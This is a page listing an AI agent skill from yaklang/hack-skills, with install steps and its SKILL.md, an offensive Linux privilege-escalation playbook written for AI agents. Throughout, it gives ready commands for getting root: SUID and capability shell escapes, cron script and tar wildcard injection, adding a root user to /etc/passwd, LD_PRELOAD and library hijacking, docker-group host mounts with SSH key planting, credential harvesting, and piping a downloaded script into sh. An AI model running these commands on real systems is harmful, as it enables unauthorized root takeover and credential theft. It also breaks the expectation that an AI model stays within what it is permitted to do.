linux-privilege-escalation
Linux privilege escalation playbook. Use when you have low-privilege shell access and need to escalate to root via SUID/SGID binaries, capabilities, cron abuse, kernel exploits, misconfigurations, or credential harvesting on Linux systems.
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Install
Works with every agent the skills CLI supports.
npx skills add https://github.com/yaklang/hack-skills --skill linux-privilege-escalation- 01
Install
Run the command in your project. The CLI asks which agents to install for.
- 02
Describe the task
Ask your agent for something this skill covers. It loads linux-privilege-escalation automatically when relevant.
- 03
Review the result
The agent follows the SKILL.md steps, scripts and references bundled with the skill.
SKILL.md
The instructions your agent reads when the skill is triggered.
SKILL: Linux Privilege Escalation — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert Linux privesc techniques. Covers enumeration, SUID/SGID, capabilities, cron abuse, kernel exploits, NFS, writable passwd/shadow, LD_PRELOAD, Docker group, and library hijacking. Base models miss subtle escalation paths via capabilities and combined misconfigurations.
0. RELATED ROUTING
Before going deep, consider loading:
- container-escape-techniques when the target is a container and you need to escape to host
- linux-security-bypass when facing restricted shells, AppArmor, SELinux, or seccomp
- linux-lateral-movement after obtaining root for pivoting to adjacent hosts
- kubernetes-pentesting when the host is a Kubernetes node
Advanced Reference
Also load SUID_CAPABILITIES_TRICKS.md when you need:
- Top 30 SUID binaries with exact exploitation commands (GTFOBins)
- Capability-specific exploitation for each dangerous cap
- Custom SUID binary exploitation methodology
Also load KERNEL_EXPLOITS_CHECKLIST.md when you need:
- Kernel version → exploit mapping table (DirtyPipe, DirtyCow, OverlayFS, etc.)
- Exploit compilation tips and cross-compilation notes
- Kernel exploit stability assessment
1. ENUMERATION CHECKLIST
Run these immediately after landing a shell:
System Info
uname -a # Kernel version
cat /etc/os-release # Distro and version
cat /proc/version # Kernel compile info
hostname && id && whoami # Current context
Sudo & SUID/SGID
sudo -l # What can we run as root?
find / -perm -4000 -type f 2>/dev/null # SUID binaries
find / -perm -2000 -type f 2>/dev/null # SGID binaries
getcap -r / 2>/dev/null # Files with capabilities
Cron & Timers
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
systemctl list-timers --all # systemd timers
Writable Files & Dirs
find / -writable -type f 2>/dev/null | grep -v proc
ls -la /etc/passwd /etc/shadow # Check permissions
find / -perm -o+w -type d 2>/dev/null # World-writable dirs
Network & Services
ss -tlnp # Listening services
cat /proc/net/tcp # Raw TCP connections
ps aux # Running processes
env # Environment variables (credentials?)
Credential Locations
cat ~/.bash_history
cat ~/.mysql_history
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null | head -30
find / -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null
2. SUID/SGID EXPLOITATION
GTFOBins Methodology
- Find SUID binaries:
find / -perm -4000 -type f 2>/dev/null - Cross-reference each with GTFOBins
- Use the "SUID" section specifically — not all binary abuse works with SUID
Quick-Win SUID Escalations
| Binary | Command |
|---|---|
bash | bash -p |
find | find . -exec /bin/sh -p \; -quit |
vim | vim -c ':!/bin/sh' |
python | python -c 'import os; os.execl("/bin/sh","sh","-p")' |
env | env /bin/sh -p |
nmap (old) | nmap --interactive → !sh |
awk | awk 'BEGIN {system("/bin/sh -p")}' |
less | less /etc/passwd → !/bin/sh |
cp | Copy /etc/passwd, add root user, copy back |
Shared Library Hijacking (SUID Binary)
ldd /usr/local/bin/suid_binary # Check loaded libraries
strace /usr/local/bin/suid_binary 2>&1 | grep -i "open.*\.so" # Find load paths
# If it loads from a writable directory — inject constructor:
gcc -shared -fPIC -o /writable/path/libevil.so evil.c
# evil.c: __attribute__((constructor)) → setuid(0); system("/bin/bash -p")
3. CAPABILITIES ABUSE
| Capability | Risk | Exploitation |
|---|---|---|
cap_setuid | Critical | python3 -c 'import os;os.setuid(0);os.system("/bin/bash")' |
cap_dac_override | Critical | Read/write any file regardless of permissions |
cap_dac_read_search | High | Read any file — dump /etc/shadow |
cap_sys_admin | Critical | Mount filesystems, BPF, namespace manipulation |
cap_sys_ptrace | High | Inject into root processes via ptrace |
cap_net_raw | Medium | Sniff traffic, ARP spoofing |
cap_net_bind_service | Low | Bind to privileged ports (<1024) |
cap_fowner | High | Change ownership of any file |
# Find binaries with capabilities
getcap -r / 2>/dev/null
# Example: python3 with cap_setuid
# /usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
4. CRON / TIMER ABUSE
Writable Cron Scripts
# Find cron jobs running as root
cat /etc/crontab | grep root
ls -la /etc/cron.d/
# If a root-owned cron runs a script writable by current user:
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' >> /writable/script.sh
# Wait for cron → /tmp/bash -p
PATH Hijacking in Cron
# If crontab has: PATH=/home/user:/usr/local/bin:/usr/bin
# And runs: * * * * * root backup.sh (without full path)
# Create /home/user/backup.sh:
echo '#!/bin/bash' > /home/user/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/backup.sh
chmod +x /home/user/backup.sh
Wildcard Injection (tar)
# If cron runs: tar czf /backup/archive.tar.gz *
# In the target directory, create:
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > "--checkpoint=1"
# tar interprets filenames as arguments
pspy — Monitor Processes Without Root
# Upload pspy64 or pspy32 to target
./pspy64
# Watch for cron jobs, services, and background processes
5. NFS NO_ROOT_SQUASH
# On attacker: check exported shares
showmount -e TARGET_IP
# If no_root_squash is set:
mount -t nfs TARGET_IP:/share /mnt/nfs
# As root on attacker box:
cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash
# On target:
/share/bash -p # root shell
6. WRITABLE /etc/passwd OR /etc/shadow
Writable /etc/passwd
# Generate password hash
openssl passwd -1 -salt xyz password123
# → $1$xyz$...hash...
# Append root-equivalent user
echo 'hacker:$1$xyz$hash:0:0::/root:/bin/bash' >> /etc/passwd
# Or replace root's 'x' with generated hash (if no shadow file)
Writable /etc/shadow
# Generate SHA-512 hash
mkpasswd -m sha-512 password123
# Replace root's hash in /etc/shadow
7. LD_PRELOAD / LD_LIBRARY_PATH WITH SUDO
# If sudo -l shows: env_keep+=LD_PRELOAD or env_keep+=LD_LIBRARY_PATH
# Compile .so with _init() that calls setresuid(0,0,0) + system("/bin/bash -p")
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so /usr/bin/some_allowed_binary
8. DOCKER GROUP → ROOT
# If current user is in the docker group:
id # check for "docker" in groups
# Mount host filesystem
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Or add SSH key
docker run -v /root:/mnt --rm -it alpine sh -c \
'echo "ssh-rsa AAAA..." >> /mnt/.ssh/authorized_keys'
9. PYTHON / PERL / RUBY LIBRARY HIJACKING
# Python: if a root-executed script does "import somelib"
# Check python path order:
python3 -c 'import sys; print("\n".join(sys.path))'
# Place malicious module in writable path that comes first:
cat > /writable/path/somelib.py << 'EOF'
import os
os.system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash")
EOF
# Perl: PERL5LIB / @INC manipulation
# Ruby: RUBYLIB / $LOAD_PATH manipulation
10. AUTOMATED TOOLS
| Tool | Purpose | Command |
|---|---|---|
| LinPEAS | Comprehensive enumeration | curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh |
| linux-exploit-suggester | Kernel exploit suggestions | ./linux-exploit-suggester.sh |
| pspy | Monitor processes (no root needed) | ./pspy64 |
| LinEnum | Legacy enumeration | ./LinEnum.sh -t |
| GTFOBins | SUID/sudo/capability abuse reference | https://gtfobins.github.io/ |
11. PRIVILEGE ESCALATION DECISION TREE
Low-privilege shell obtained
│
├── sudo -l shows entries?
│ ├── GTFOBins match? → exploit directly
│ ├── env_keep has LD_PRELOAD? → LD_PRELOAD hijack (§7)
│ ├── NOPASSWD on custom script? → review script for injection
│ └── (ALL) with password? → check for password reuse/hashes
│
├── SUID/SGID binaries found?
│ ├── Standard binary on GTFOBins? → SUID exploit (§2)
│ ├── Custom binary? → reverse engineer, check libs (strace/ltrace)
│ └── Shared lib from writable path? → library hijack (§2)
│
├── Capabilities on binaries?
│ ├── cap_setuid? → instant root (§3)
│ ├── cap_dac_override? → write /etc/passwd (§6)
│ ├── cap_sys_admin? → mount / namespace tricks
│ └── cap_sys_ptrace? → process injection
│
├── Cron jobs running as root?
│ ├── Writable script? → inject payload (§4)
│ ├── Missing full path? → PATH hijack (§4)
│ └── Uses wildcards? → wildcard injection (§4)
│
├── Writable sensitive files?
│ ├── /etc/passwd writable? → add root user (§6)
│ ├── /etc/shadow writable? → replace root hash (§6)
│ └── systemd unit files writable? → add ExecStartPre
│
├── Docker/LXD group membership?
│ └── Yes → mount host filesystem (§8)
│
├── NFS shares with no_root_squash?
│ └── Yes → SUID binary via NFS (§5)
│
├── Kernel version old/unpatched?
│ └── Check KERNEL_EXPLOITS_CHECKLIST.md
│
└── None of the above?
├── Run LinPEAS for comprehensive scan
├── Check for password reuse (bash_history, config files)
├── Check internal services (127.0.0.1 listeners)
└── Monitor processes with pspy for hidden opportunities
FAQ
What does the linux-privilege-escalation skill do?
Linux privilege escalation playbook. Use when you have low-privilege shell access and need to escalate to root via SUID/SGID binaries, capabilities, cron abuse, kernel exploits, misconfigurations, or credential harvesting on Linux systems.
How do I install linux-privilege-escalation?
Run npx skills add https://github.com/yaklang/hack-skills --skill linux-privilege-escalation in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/linux-privilege-escalation/ (personal) or .claude/skills/linux-privilege-escalation/ (project).
Which AI agents can use linux-privilege-escalation?
Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.
Is linux-privilege-escalation safe to install?
No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.
Who maintains linux-privilege-escalation?
It is published by yaklang in yaklang/hack-skills. It has 3,597 recorded installs.
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